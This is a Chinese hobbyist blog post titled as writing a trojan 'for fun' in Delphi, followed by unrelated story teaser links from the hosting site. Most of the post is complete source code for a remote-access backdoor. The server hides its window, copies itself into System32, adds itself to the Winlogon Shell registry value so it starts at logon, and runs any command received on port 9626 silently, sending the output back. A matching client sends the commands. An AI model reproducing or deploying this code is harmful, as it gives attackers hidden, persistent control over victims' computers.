2018-10-09 muma

使用Delphi编个木马玩

板块禁止发布 “电子书资料” ,此类主题请发布至

刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!

程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。

源码如下:

////Server.pas//////////////

unit UtMain;

////////////////////////////////////

//////////BY lanyus////////////////

////////Email:greathjw@163.com////

////////QQ:231221////////////////

///部分代码从网上收集///////////

////////////////////////////////

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, Registry, ScktComp, StdCtrls;

type

TFmMain = class(TForm)

SS: TServerSocket;

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);

procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);

var

sysdir:array[0..50] of char;

begin

Application.ShowMainForm:=False;

FmMain.Left:=-200;//运行不显示窗口

reg:=TRegistry.Create;

reg.RootKey:=HKEY_LOCAL_MACHINE;

reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);

if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then

reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项

reg.Free;

GetSystemDirectory(sysdir,50);

if not FileExists(sysdir+'\Lysvr.exe') then

copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;

try

SS.Active:=True;

except

end;

end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);

begin

Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’

end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

RemoteCmd:string;

hReadPipe,hWritePipe:THandle;

si:STARTUPINFO;

lsa:SECURITY_ATTRIBUTES;

pi:PROCESS_INFORMATION;

cchReadBuffer:DWORD;

ph:PChar;

fname:PChar;

res:string;

begin

Memo1.Clear;

remotecmd:=Socket.ReceiveText;

fname:=allocmem(255);

ph:=AllocMem(5000);

lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);

lsa.lpSecurityDescriptor:=nil;

lsa.bInheritHandle:=True;

ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethen

begin

socket.SendText('不能创建管道');

exit;

end;

fillchar(si,sizeof(STARTUPINFO),0);

si.cb:=sizeof(STARTUPINFO);

si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);

si.wShowWindow:=SW_HIDE;

si.hStdOutput:=hWritePipe;

StrPCopy(fname,remotecmd);

/////执行CMD命令////

if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then

begin

socket.SendText('不能创建进程');

FreeMem(ph);

FreeMem(fname);

Exit;

end;

while(true)do

begin

ifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;

ifcchReadBuffer<>0then

begin

ifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;

ph[cchReadbuffer]:=chr(0);

Memo1.Lines.Add(ph);

end

else

if(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;

Sleep(100);

end;

ph[cchReadBuffer]:=chr(0);

Memo1.Lines.Add(ph);//memo接收回显

CloseHandle(hReadPipe);

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

CloseHandle(hWritePipe);

FreeMem(ph);

FreeMem(fname);

socket.SendText(Memo1.Text);///将回显发送回客户端

end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

///////////////////////////////////

//////////BY lanyus///////////////

////////Email:greathjw@163.com///

////////////////////////////////

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,

IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type

TFmMain = class(TForm)

WebBrowser1: TWebBrowser;

Label3: TLabel;

Edit2: TEdit;

Label4: TLabel;

Edit3: TEdit;

Button2: TButton;

CS: TClientSocket;

Edit4: TEdit;

Label5: TLabel;

Memo1: TMemo;

BitBtn2: TBitBtn;

procedure Button2Click(Sender: TObject);

procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);

procedure BitBtn2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

implementation

{$R *.dfm}

procedure TFmMain.Button2Click(Sender: TObject);

begin

CS.Host:=Edit2.Text;

CS.Port:=StrToInt(Edit3.Text);

CS.Open;

end;

procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);

begin

Memo1.Clear;

Memo1.Lines.Add(Socket.ReceiveText);

Memo1.Lines.Add('');

end;

procedure TFmMain.BitBtn2Click(Sender: TObject);

begin

CS.Socket.SendText(edit4.Text);

end;

end.

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,390评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,821评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,632评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,170评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,033评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,098评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,511评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,204评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,479评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,572评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,341评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,213评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,576评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,893评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,171评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,486评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,676评论 2 335

推荐阅读更多精彩内容